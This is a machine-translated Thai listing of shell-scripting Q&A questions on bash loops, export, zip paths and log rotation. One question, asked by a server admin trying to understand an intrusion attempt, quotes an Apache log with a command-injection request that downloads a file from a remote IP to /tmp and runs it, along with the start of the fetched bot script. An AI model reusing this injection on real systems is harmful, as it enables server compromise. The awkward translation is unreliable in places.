คำถามติดแท็ก shell-script

เชลล์สคริปต์เป็นสคริปต์ที่เขียนขึ้นสำหรับเชลล์หรือล่ามบรรทัดคำสั่งของระบบปฏิบัติการ



7
วนลูปผ่านผลลัพธ์ `ls 'ในสคริปต์เชลล์ bash
มีใครบ้างที่มีแม่แบบเชลล์สคริปต์สำหรับทำบางสิ่งบางอย่างlsสำหรับรายการชื่อไดเรกทอรีและวนซ้ำแต่ละรายการและทำบางสิ่งบางอย่างหรือไม่ ฉันวางแผนที่จะทำls -1d */เพื่อรับรายชื่อไดเรกทอรี

3
การส่งออกทำอะไรใน BASH [ซ้ำ]
ซ้ำกันได้: ความแตกต่างระหว่าง“ a = b” และ“ ส่งออก a = b” ใน bash เป็นการยากที่จะยอมรับ แต่ฉันไม่เคยเข้าใจสิ่งที่แน่นอน export ทำกับตัวแปรสภาพแวดล้อม ฉันรู้ว่าถ้าฉันไม่ส่งออกตัวแปรบางครั้งฉันไม่สามารถเห็นมันในกระบวนการลูก แต่บางครั้งดูเหมือนว่าฉันสามารถ เกิดอะไรขึ้นเมื่อฉันพูด export foo=5 และเมื่อใดที่ฉันไม่ควรส่งออกตัวแปร

15
วิธีการเรียกใช้ไฟล์. sh บน Windows
เมื่อฉันพยายามเรียกใช้ไฟล์ (name.sh) ในบรรทัดคำสั่งโดยคำสั่ง. / name.sh ฉันได้รับข้อผิดพลาดที่: "" ไม่รู้จักว่าเป็นคำสั่งภายในหรือภายนอก, สามารถใช้งานได้หรือแบตช์ไฟล์ โปรดช่วยฉันเรียกใช้ไฟล์. sh

4
ตรวจสอบว่าพารามิเตอร์ใด ๆ กับสคริปต์ทุบตีตรงกับสตริงหรือไม่
ฉันพยายามเขียนสคริปต์ที่ฉันต้องการตรวจสอบว่าพารามิเตอร์ใด ๆ ที่ส่งผ่านไปยังสคริปต์ทุบตีตรงกับสตริง วิธีที่ฉันตั้งค่าตอนนี้ก็คือ if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] แต่อาจมีพารามิเตอร์จำนวนมากดังนั้นฉันสงสัยว่ามีวิธีที่ดีกว่าในการทำเช่นนี้หรือไม่ ขอบคุณ แก้ไข: ฉันลองใช้โค๊ดของโค้ดนี้และเรียกสคริปต์ด้วยตัวเลือก -disableVenusBld แต่มันก็ยังพิมพ์ "เริ่มต้นบิลด์" ฉันกำลังทำอะไรผิดหรือเปล่า? ขอบคุณล่วงหน้า! while [ $# -ne 0 ] do arg="$1" case "$arg" in -disableVenusBld) disableVenusBld=true ;; -disableCopperBld) disableCopperBld=true ;; -disableTest) disableTest=true ;; …

9
เข้าสู่ระบบการหมุนของ stdout?
ฉันมีโปรแกรม Linux ที่สามารถเขียนข้อมูลไปยัง stdout และ stderr /var/logฉันมีสคริปต์เชลล์ซึ่งเปลี่ยนเส้นทางการส่งออกที่ยังแฟ้มใน (ผ่าน>>และ2>&1.) มีวิธีทำให้ไฟล์บันทึกนั้นหมุนหรือไม่ (ขนาดสูงสุดจากนั้นเปลี่ยนเป็นไฟล์อื่นเก็บเฉพาะไฟล์จำนวน จำกัด ) ฉันเห็นคำตอบสองสามข้อที่พูดเกี่ยวกับlogrotateโปรแกรมซึ่งฟังดูดี แต่พวกเขาก็ดูเหมือนจะเน้นไปที่โปรแกรมที่สร้างไฟล์บันทึกภายในและจัดการสัญญาณ HUP มีวิธีที่จะทำให้การทำงานนี้ด้วยสคริปต์เปลี่ยนเส้นทางออกพื้นฐานหรือไม่

3
หลีกเลี่ยงเส้นทางที่ไม่ต้องการในไฟล์ซิป
ฉันทำเชลล์สคริปต์เพื่อทำแพคเกจไฟล์บางไฟล์ ฉันกำลังซิปไดเรกทอรีเช่นนี้: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ ปัญหาคือไฟล์เก็บถาวร out.zip มีเส้นทางไฟล์ทั้งหมดในนั้น นั่นคือเมื่อคลายซิปไฟล์มันจะมีเส้นทาง "/ Users / me / development / anotherthing /" ทั้งหมดอยู่ในนั้น เป็นไปได้หรือไม่ที่จะหลีกเลี่ยงพา ธ ที่ลึกเหล่านี้เมื่อใส่ไดเร็กตอรี่ในไฟล์เก็บถาวร เมื่อฉันเรียกใช้ zip จากภายในไดเรกทอรีเป้าหมายฉันไม่มีปัญหานี้ zip -r out.zip ./folder/ ในกรณีนี้ฉันไม่ได้รับขยะทั้งหมด อย่างไรก็ตามสคริปต์ที่สงสัยจะถูกเรียกจากที่ใดก็ได้ FWIW ฉันใช้ทุบตีบน Mac OS X 10.6
49 macos  bash  zip  path  shell-script 

12
การเติม Array ในสคริปต์ DOS Batch
ฉันจะตั้งค่าตัวแปรอาเรย์ในสคริปต์แบตช์ DOS ได้อย่างไร ฉันต้องการโหลดด้วยรายการชื่อไฟล์ที่จะประมวลผล ฉันอยากจะทำให้มันเรียบง่ายที่สุดเท่าที่จะทำได้ ขอขอบคุณ.

2
เกิดอะไรขึ้นกับ“ echo $ (สิ่งของ)” หรือ“ echo `stuff`”?
ฉันใช้ข้อใดข้อหนึ่งต่อไปนี้ echo $(stuff) echo `stuff` (ที่stuffเป็นเช่นpwdหรือdateหรือสิ่งที่มีความซับซ้อนมากขึ้น) จากนั้นฉันก็บอกว่าไวยากรณ์นี้ผิดการปฏิบัติที่ไม่ดีไม่หรูหราเกินความซ้ำซ้อนซับซ้อนเกินไปการเขียนโปรแกรมลัทธิขนส่งสินค้า noobish ไร้เดียงสา ฯลฯ แต่คำสั่งใช้งานได้ดังนั้นมีอะไรผิดปกติกับมัน?
31 shell-script  sh  echo 

2
สคริปต์ทุบตีนี้ทำอะไร? [พยายามแฮ็ก]
ฉันสังเกตเห็นเซิร์ฟเวอร์ของ apache บันทึกเมื่อไม่นานมานี้มีสายแปลก ๆ ดังต่อไปนี้: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" ดังนั้นฉันจึงสร้างตัวกรอง Fail2Ban ที่กำหนดเองและเริ่มแบนไอพีที่ร้องขอ URL /login.cgi เหล่านี้ แต่ฉันอยากรู้ว่าพวกเขาพยายามทำอะไรดังนั้นฉันจึงดึงสคริปต์ที่พวกเขาพยายามจะดำเนินการและฉันไม่สามารถเข้าใจได้ว่ามันทำอะไร มีบางอย่างเกี่ยวกับการลบโฟลเดอร์ arch ใน / var และ / tmp ใช่ไหม อย่างไรก็ตามนี่คือ: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name …

5
จะแยกรายการประเภทส่วนขยายทั้งหมดในไดเรกทอรีได้อย่างไร
ภายในไดเรกทอรีและเรียกซ้ำภายในไดเรกทอรีย่อยซึ่งหมายความว่าทุกไดเรกทอรีในไดเรกทอรีได้รับการประมวลผลฉันจะรวบรวมรายการทั้งหมดของส่วนขยายเฉพาะภายในไดเรกทอรีได้อย่างไร ระบบปฏิบัติการคือ Windows XP ที่มีการอัปเดตทั้งหมดในปัจจุบัน แต่ฉันก็ใช้งานสคริปต์ได้ถ้าฉันสามารถบอกได้ว่ามันทำอะไรอยู่แม้ว่าฉันจะไม่ต้องการติดตั้ง dot-net เนื่องจากฉันไม่ชอบมันจริงๆ

2
เชลล์สคริปต์สะท้อนบรรทัดใหม่ไปยังไฟล์
ฉันต้องการ echo บรรทัดใหม่ไปยังไฟล์ระหว่างตัวแปรในเชลล์สคริปต์ นี่คือรหัสของฉัน: var1 = "ฮัลโหล" var2 = "โลก!" logwrite = "$ var1 [ที่นี่ฉันต้องการแทรกบรรทัดใหม่] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt ตอนนี้เมื่อฉันเรียกใช้สคริปต์ของฉันไฟล์ user.txt แสดงสิ่งนี้: สวัสดีชาวโลก! ฉันต้องการให้มันแสดง: สวัสดี โลก! ฉันจะทำสิ่งนี้ได้อย่างไร ?? แก้ไข: นี่คือเปลือกสคริปต์ของฉัน: echo -n "ชื่อแรกของคุณคืออะไร" อ่านก่อน echo -n "นามสกุลของคุณคืออะไร" อ่านล่าสุด echo -n "ชื่อกลางของคุณคืออะไร" อ่านตรงกลาง echo -n "วันเกิดของคุณคืออะไร" อ่านวันเกิด echo …

4
วิธีการแทนที่ส่วนของไฟล์ข้อความระหว่างเครื่องหมายด้วยไฟล์ข้อความอื่นได้อย่างไร
ว่าฉันมีไฟล์ข้อความเช่นนี้: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT ฉันต้องการแทนที่ส่วนระหว่างGENERATED CONTENTแท็กด้วยเนื้อหาของไฟล์อื่น วิธีที่ง่ายที่สุดในการทำเช่นนี้คืออะไร?

3
วิธีอัปเดต bash บน Mac OS X Yosemite
เพียงแค่พยายามเรียนรู้การทุบตีสคริปต์เล็กน้อย รุ่นทุบตีเก่าของฉัน: Bash version 3.2.53(1)-release... ฉันได้อัปเดตทุบตีบน mac os x yosemite ด้วย homebrew: brew update brew install bash จากนั้นในคุณสมบัติขั้วฉันได้เปลี่ยนเส้นทางมาตรฐานเปลือกจาก/bin/bashไป/usr/local/bin/bash(ตามที่ผมเข้าใจนี่คือที่ homebrew ติดตั้งทุบตีปรับปรุง) จากนั้นฉันตรวจสอบผลลัพธ์อีกครั้ง (และดูเหมือนว่าจะดีทั้งหมด): $ echo $BASH_VERSION Bash version 4.0.33(0)-release... แต่เมื่อฉันพยายามเขียนสคริปต์ทุบตีง่าย: #!/bin/bash echo "Bash version ${BASH_VERSION}..." for i in {0..10..2} do echo "Welcome $i times" done ผลลัพธ์คือ: Bash version 3.2.53(1)-release... Welcome {0..10..2} …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.